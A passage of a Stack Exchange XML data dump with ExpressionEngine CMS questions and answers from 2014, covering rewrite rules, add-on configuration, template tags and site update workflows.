&amp;lt;section&amp;gt;&#xA;                    &amp;lt;hgroup&amp;gt;&#xA;                        &amp;lt;h1&amp;gt;Page Not Found&amp;lt;/h1&amp;gt;&#xA;                    &amp;lt;/hgroup&amp;gt;&#xA;                    &amp;lt;img src=&quot;/img/masthead-images/cadillac-margarita.jpg&quot; alt=&quot;Cadillac margarita&quot;&amp;gt;&#xA;            &amp;lt;/section&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;panel error-message&quot;&amp;gt;&#xA;            &amp;lt;section&amp;gt;&#xA;                &amp;lt;h2&amp;gt;Sorry, we couldn't find the page you were looking for.&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;p&amp;gt;The page could have been moved, or you may have entered the address or link incorrectly.&amp;lt;/p&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;btn primary medium&quot;&amp;gt;&amp;lt;a href=&quot;/&quot;&amp;gt;GO TO OUR HOME PAGE&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/section&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;{embed=&quot;_includes/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions in this area would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3242" LastActivityDate="2014-07-31T16:10:14.730" Title="404 Page is Appending Home Page" Tags="|ee2|channel-entries|templates|404|error-pages|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24807" PostTypeId="2" ParentId="24773" CreationDate="2014-07-31T16:17:01.237" Score="1" Body="&lt;p&gt;On line 11, change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And see if that works. According to &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&lt;/a&gt;, you only need to use your entry for forced query strings on hosts such as GoDaddy. However, if that's the case, you may be stuck with it.&lt;/p&gt;&#xA;" OwnerUserId="3242" LastActivityDate="2014-07-31T16:17:01.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24808" PostTypeId="2" ParentId="24802" CreationDate="2014-07-31T16:24:17.320" Score="2" Body="&lt;p&gt;This looks like an issue with the library used to minify the CSS. Try to change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the &lt;a href=&quot;https://johndwells.github.io/Minimee/#configuration&quot; rel=&quot;nofollow&quot;&gt;configurations&lt;/a&gt;. The default library to is &lt;code&gt;minify&lt;/code&gt;. Change it to &lt;code&gt;cssmin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you're configuring Minimee using &lt;code&gt;config.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Specify which minification library to use for your CSS.&#xA; * Values: 'minify' or 'cssmin'&#xA; * Default: minify&#xA; */&#xA;'css_library'   =&amp;gt; 'cssmin',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-07-31T20:03:46.717" LastActivityDate="2014-07-31T20:03:46.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24809" PostTypeId="2" ParentId="24793" CreationDate="2014-07-31T17:30:32.043" Score="1" Body="&lt;p&gt;You would have to first create a custom Composer Template (can be done from the CP or using the &lt;code&gt;{exp:freeform:composer}&lt;/code&gt; tag as a tag pair with Composer Template code inside), and manually create/hand-code your field output when your custom field is called. For example, based on the default Composer Template code, there is this conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;{if:else}&#xA;    &amp;lt;p&amp;gt;{composer:field_output}&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which you could change to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;{if:else}&#xA;    {if composer:field_name == &quot;my_email_field&quot;}&#xA;        &amp;lt;input type=&quot;email&quot; name=&quot;my_email_field&quot; placeholder=&quot;Enter email&quot; /&amp;gt;&#xA;    {if:else} &#xA;        &amp;lt;p&amp;gt;{composer:field_output}&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other alternative is to use javascript to change the &lt;code&gt;type=&quot;&quot;&lt;/code&gt; when the form is loaded from your template. Again, you would need to target the fields that you want to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you could file a Feature Request, for some setting in the CP for example, under the specific add-on category here: &lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your sub-question, there's not much that can be done with &lt;code&gt;required=&quot;required&quot;&lt;/code&gt;, short of using javascript to format it the way you want. The other option could be to file a Feature Request for this as well.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-07-31T17:30:32.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24810" PostTypeId="1" AcceptedAnswerId="24822" CreationDate="2014-07-31T17:32:46.633" Score="2" ViewCount="571" Body="&lt;p&gt;Has anyone ever come across this error before? I've never seen it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a form is submitted, users get the error shown in the screenshot attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qt2OA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="679" LastActivityDate="2015-08-10T11:02:48.650" Title="Missing data - different IP error when submitting a form" Tags="|forms|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24811" PostTypeId="2" ParentId="24803" CreationDate="2014-07-31T17:50:39.533" Score="2" Body="&lt;p&gt;Have you seen the image tag pair - &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/custom_fields.html#variable-pair-usage&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/custom_fields.html#variable-pair-usage&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a File field you have all the parameters and variables you need including options to output path, full URL, description, image manipulation, credit, date and so on.&lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2014-07-31T17:50:39.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24812" PostTypeId="1" CreationDate="2014-07-31T17:53:38.043" Score="0" ViewCount="140" Body="&lt;p&gt;I'm using latest build of Expresso Store, 2.3.1. I need to apply quantity based discounts to products, but the discount needs to apply to a single product. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 10% off discount for all products in store when you order 10 or more of a single product, but the discount only applies to the particular product. So I order 11 of Product 1, 10 of Product 2 and 5 of Product 3. Products 1 and 2 will get the discount, product 3 will be full price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can see this is not possible in Store. If so are there any ways I can handle this in the template? As our discount will likely be pretty simple, with the same discount being applied store wide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that, what are our options for extending Store to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Just to clarify, we are looking to apply this discount at a category or store wide level, rather than updating the pricing of an individual product, as there are thousands of products this would not be viable, in particular as we will likely just have one percentage discount that is the same for all products.&lt;/p&gt;&#xA;" OwnerUserId="587" LastEditorUserId="587" LastEditDate="2014-08-01T15:46:35.580" LastActivityDate="2014-11-30T22:53:23.763" Title="Quantity based discount for single product in Expresso Store" Tags="|expresso-store|how-to|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24813" PostTypeId="2" ParentId="24747" CreationDate="2014-07-31T18:38:13.860" Score="0" Body="&lt;p&gt;You can configure Wygwam/CKeditor to ignore certain tags and classes/not strip them out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found something that may be similar over on Stackoverflow: &lt;a href=&quot;https://stackoverflow.com/questions/15659390/ckeditor-automatically-strips-classes-from-div&quot;&gt;CKEditor strips classes from divs&lt;/a&gt;. In your case, you're seeing Wygwam/CKEditor strip the whole div. Apparently, though, you can configure your instance of Wygwam fields to ignore certain types of code, and/or leave classes alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I did a little more searching and found this on this subsite: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13095/wygwam-stripping-tags-from-ul-li-class-and-id-advanced-content-filter-acf&quot;&gt;Wygwam - stripping tags from ul li (class and id) [Advanced Content Filter (ACF)]&lt;/a&gt; that deals directly with configuring ckeditor in Wygwam. I think these two questions, and their answers, will be helpful to you.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-07-31T18:38:13.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24815" PostTypeId="2" ParentId="24645" CreationDate="2014-07-31T19:25:11.833" Score="1" Body="&lt;p&gt;After much fuss.....(see below)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:else}&#xA;&amp;lt;div class=&quot;well well-lg&quot;&amp;gt; &#xA;&amp;lt;button id=&quot;page_select_submit&quot; type=&quot;submit&quot; class=&quot;btn btn-primary pull-right&quot;&amp;gt;Go...&amp;lt;/button&amp;gt;&#xA;&amp;lt;select name=&quot;structure_parent_id&quot; class=&quot;chosen-select&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;0&quot; selected=&quot;selected&quot;&amp;gt;Choose a Page...&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{exp:member:custom_profile_data}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if member_group == &quot;1&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--  GROUP A  --&amp;gt;&#xA;&amp;lt;option value=&quot;100&quot;&amp;gt; Page1&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;200&quot;&amp;gt;-- Page2&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;300&quot;&amp;gt;-- Page3&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if member_group == &quot;2&quot; }&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--  GROUP B  --&amp;gt;&#xA;&amp;lt;option value=&quot;400&quot;&amp;gt; Page4&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;500&quot;&amp;gt;-- Page5&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;600&quot;&amp;gt;-- Page6&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if member_group == &quot;3&quot; }&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--  GROUP C  --&amp;gt;&#xA;&amp;lt;option value=&quot;700&quot;&amp;gt; Page7&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;800&quot;&amp;gt;-- Page8&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;900&quot;&amp;gt;-- Page9&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and for pages that need multiple groups to access them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if member_group == &quot;4&quot; OR member_group ==&quot;5&quot; OR member_group == &quot;6&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--  GROUP D  --&amp;gt;&#xA;&amp;lt;option value=&quot;100&quot;&amp;gt; Page1&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;500&quot;&amp;gt;-- Page5&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;1000&quot;&amp;gt;-- Page10&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/if}&#xA;     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:member:custom_profile_data}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOW, the question is.. if in the future a member group needed access to a different page.  How would that happen without having to hardcode that into the template as performed above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have the &lt;a href=&quot;http://devot-ee.com/add-ons/entry-access&quot; rel=&quot;nofollow&quot;&gt;Entry Access&lt;/a&gt; addon.  That seems like it could help to solve this situation but the documentation seems limited.&lt;/p&gt;&#xA;" OwnerUserId="337" LastActivityDate="2014-07-31T19:25:11.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24816" PostTypeId="2" ParentId="24805" CreationDate="2014-07-31T19:59:42.553" Score="1" Body="&lt;p&gt;It sounds like you have found a solution that won't require it, but to answer your original question, it is possible for third-party add-ons to build Channel structures, using the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/index.html#id2&quot; rel=&quot;nofollow&quot;&gt;Channel APIs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-07-31T19:59:42.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24817" PostTypeId="1" CreationDate="2014-07-31T20:59:32.550" Score="1" ViewCount="24" Body="&lt;p&gt;Just installed MD Character Count on a site. Everything is working as expected, with the exception of the extension's output. It's duplicating on render. See the attached screenshot for an example. Curious if anyone familiar with this add-on has crossed this bridge before. Thanks&lt;img src=&quot;https://i.stack.imgur.com/uQ9x2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2014-07-31T20:59:32.550" Title="MD Character Count Duplicate Display Issue" Tags="|add-on|control-panel|extension|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24818" PostTypeId="2" ParentId="4825" CreationDate="2014-07-31T21:16:01.920" Score="0" Body="&lt;p&gt;Check to see if your host has modsecurity enabled. Modsecurity might block the extension from loading giving you that 404. &lt;/p&gt;&#xA;" OwnerUserId="3438" LastActivityDate="2014-07-31T21:16:01.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24819" PostTypeId="1" CreationDate="2014-08-01T02:13:11.100" Score="3" ViewCount="265" Body="&lt;p&gt;I've been a bit frustrated with the process of updating EE in past few months so I'd like to learn best practices from the community so I can alleviate my pain a bit. I manage my site with Git and Github and deploy to two bare repos (dev, prod).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is how I do it currently:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download the latest version from Ellislab&lt;/li&gt;&#xA;&lt;li&gt;Dump my prod database and import it locally&lt;/li&gt;&#xA;&lt;li&gt;Create a separate branch for the update&lt;/li&gt;&#xA;&lt;li&gt;Follow the instructions on Ellislab on how to update&lt;/li&gt;&#xA;&lt;li&gt;After update is done I merge the branch onto master &lt;/li&gt;&#xA;&lt;li&gt;Import database to prod&lt;/li&gt;&#xA;&lt;li&gt;And finally push my merged master branch to Github and then dev.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On average, this process takes somewhere between 30 min to 1 hour. It depends on the size of your site (database, configuration, modules, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's flawed with my process? Is there a better process, if so what do you recommend? I'm eager to hear your suggestion and learn from you all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Juliano&lt;/p&gt;&#xA;" OwnerUserId="1961" LastActivityDate="2014-08-01T21:32:06.063" Title="How Do You Update Expression Engine?" Tags="|update|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24820" PostTypeId="2" ParentId="24799" CreationDate="2014-08-01T04:49:16.143" Score="1" Body="&lt;p&gt;Calendar is not simply a channel field. Calendar is a module which, upon installation, creates two channels: &lt;strong&gt;Calendar: Calendars&lt;/strong&gt;, to hold Calendar data, and &lt;strong&gt;Calendar: Events&lt;/strong&gt;, which are event data created under a selected Calendar (created in Calendar: Calendars). Similarly named custom field groups are also created. Both channels contain specialized Calendar custom fields.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Important: You MUST use the channels and custom field groups provided by Calendar upon installation&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You cannot create another channel to hold Calendar data, nor can you create another custom field group for the Calendar channels, nor can you move/use the special Calendar custom fields to another custom field group.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;A good strategy would be to create 1 calendar per student. You would therefore have a &lt;strong&gt;Calendar: Calendars&lt;/strong&gt; entry for each student. On the front-end, many Calendar tags have a &lt;code&gt;calendar_id=&amp;quot;&amp;quot;&lt;/code&gt; or &lt;code&gt;calendar_name=&amp;quot;&amp;quot;&lt;/code&gt; parameter that you can use to display event data for a single Calendar (or Student in your case).&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-08-01T04:49:16.143" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24821" PostTypeId="1" CreationDate="2014-08-01T05:53:47.690" Score="0" ViewCount="96" Body="&lt;p&gt;How can I build a custom URL structure using Playa fields as segments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/templateGroup/template/playaParent/playaChild&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1465" LastEditorUserId="159" LastEditDate="2014-08-01T17:44:17.750" LastActivityDate="2015-12-29T10:32:53.500" Title="Custom URL structure using Playa segments" Tags="|playa|url|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24822" PostTypeId="2" ParentId="24810" CreationDate="2014-08-01T06:03:02.390" Score="0" Body="&lt;p&gt;Just spitballing here, but some sort of misconfigured proxy is the first thing that jumps out at me.&lt;/p&gt;&#xA;" OwnerUserId="766" LastActivityDate="2014-08-01T06:03:02.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24823" PostTypeId="2" ParentId="24812" CreationDate="2014-08-01T08:51:45.863" Score="1" Body="&lt;p&gt;Use this &lt;a href=&quot;http://devot-ee.com/add-ons/store-bulk-discount&quot; rel=&quot;nofollow&quot;&gt;bulk discounts add-on&lt;/a&gt;, does exactly what you need. Create a new field type and discounts are controlled per product and at definable quantities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does need Matrix installed though.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-08-01T08:51:45.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24825" PostTypeId="2" ParentId="24785" CreationDate="2014-08-01T09:40:14.490" Score="2" Body="&lt;p&gt;Stash variables set to &lt;code&gt;type=&quot;snippet&quot;&lt;/code&gt; can be accessed in the same way as in previous versions of EE. To demonstrate:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;inc/snippet_embed&quot;}&#xA;{exp:stash:set name=&quot;my_snippet&quot; type=&quot;snippet&quot;}My snippet{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The template &lt;strong&gt;inc/snippet_embed&lt;/strong&gt; looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_snippet}&#xA;&amp;lt;br&amp;gt;&#xA;{if my_snippet} My snippet has a value!{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;My snippet &#xA;&amp;lt;br&amp;gt;&#xA;My snippet has a value!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Conditionals in EE 2.9 have of course changed which does have some implications when evaluating Stash snippet variables, which you can read about here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/croxton/9d012297096892ca5c10&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/croxton/9d012297096892ca5c10&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-08-01T09:40:14.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24826" PostTypeId="2" ParentId="24458" CreationDate="2014-08-01T09:52:16.873" Score="3" Body="&lt;p&gt;The backspace parameter can be used with &lt;code&gt;{exp:stash:get_list}&lt;/code&gt;, however be aware that any trailing whitespace and line breaks will count as 'spaces'. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Desired output - no trailing comma --}&#xA;Product 1, Products 2, Product 3&#xA;&#xA;{!-- this won't work because of the line break after the comma --}&#xA;{exp:stash:get_list name=&quot;products&quot; backspace=&quot;1&quot;}&#xA;   {title},&#xA;{/exp:stash:get_list}&#xA;&#xA;{!-- Either close the space up manually... --}&#xA;{exp:stash:get_list name=&quot;products&quot; backspace=&quot;1&quot;}{title},{/exp:stash:get_list}&#xA;&#xA;{!-- ...or use the trim parameter --}&#xA;{exp:stash:get_list name=&quot;products&quot; trim=&quot;y&quot;}&#xA;   {title},&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-08-01T09:52:16.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24827" PostTypeId="1" CreationDate="2014-08-01T11:03:58.020" Score="1" ViewCount="129" Body="&lt;p&gt;I am using api_channel_structure&#xA;I want to correctly set up the uninstall function.&#xA;To delete a channel I'm creating, I'm calling delete_channel.&#xA;It requires a channel_id.&#xA;Fine, but I only have a channel_name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an inbuilt function to get the id from name.. or is it stored in some session/object that I'm not aware of?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to get channel_id for uninstalling a module.&lt;/p&gt;&#xA;" OwnerUserId="1886" LastActivityDate="2014-08-01T11:03:58.020" Title="Custom module, get channel_id so I can pass it to function: ee-&gt;api_channel_structure-&gt;delete_channel()" Tags="|channel|module|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24828" PostTypeId="2" ParentId="24821" CreationDate="2014-08-01T11:45:10.797" Score="1" Body="&lt;p&gt;Playa tags will not have parsed before the page loads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you matched your playa field and template names you could generate links with Playa then clicking the link would take you to the corresponding template. &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-08-01T11:45:10.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24829" PostTypeId="2" ParentId="12236" CreationDate="2014-08-01T14:21:31.843" Score="0" Body="&lt;p&gt;I have found that formatting the javascript as strictly-compliant XHTML will prevent the Auto XHTML parser from converting the JS quotes to html entities and breaking the scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my tests and the results for each. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 -- Nope&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;load_slides_from(&quot;Some Text. ‘smart’ “quotes” are OK.&quot;);&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2 -- Nope&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;load_slides_from(&quot;Some Text. ‘smart’ “quotes” are OK.&quot;);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;3 -- Nope&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  load_slides_from(&quot;Some Text. ‘smart’ “quotes” are OK.&quot;);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4 -- This works&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA; //&amp;lt;![CDATA[&#xA;  load_slides_from(&quot;Some Text. ‘smart’ “quotes” are OK.&quot;);&#xA; //]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;5 -- This works&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA; //&amp;lt;![CDATA[&#xA;  load_slides_from(&quot;Some Text. ‘smart’ “quotes” are OK.&quot;);&#xA; //]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;6 -- This works&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;//&amp;lt;![CDATA[&#xA;  load_slides_from(&quot;Some Text. ‘smart’ “quotes” are OK.&quot;);&#xA;//]]&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;7 -- This works&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;//&amp;lt;![CDATA[&#xA;  load_slides_from(&quot;Some Text. ‘smart’ “quotes” are OK.&quot;);//]]&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since it is often the case that you will want to use Javascript that does NOT include curly brackets on their own line I think this is a more generally useful solution.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-08-01T14:21:31.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24830" PostTypeId="2" ParentId="24779" CreationDate="2014-08-01T14:44:54.020" Score="1" Body="&lt;p&gt;Sometimes I feel like I am too stupid to read. Of course if works as described in the docs. Thanks Nutmeg for your help anyway. The visit date is obtained by a channel form and the code would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;market_visits&quot; limit=&quot;10&quot; orderby=&quot;visit date&quot; sort=&quot;desc&quot;}&#xA;&#xA;       {date_heading display=&quot;daily&quot;}&#xA;...&#xA;                  {visit date format=&quot;%d.%m.%Y&quot;}&#xA;...&#xA;       {/date_heading}&#xA;...&#xA;                 &amp;lt;li&amp;gt;{market}&amp;lt;/li&amp;gt;&#xA;    ...&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3433" LastActivityDate="2014-08-01T14:44:54.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24831" PostTypeId="2" ParentId="24754" CreationDate="2014-08-01T14:54:23.173" Score="0" Body="&lt;p&gt;For the majority of my needs for category info in a fixed sort order, I found the plugin Categoree works: &lt;a href=&quot;http://devot-ee.com/add-ons/categoree&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/categoree&lt;/a&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:categoree:pair show=&quot;{lv_snippet_piped_cat_list}&quot; fixed=&quot;yes&quot;}{category_name}, {/exp:categoree:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-08-01T14:54:23.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
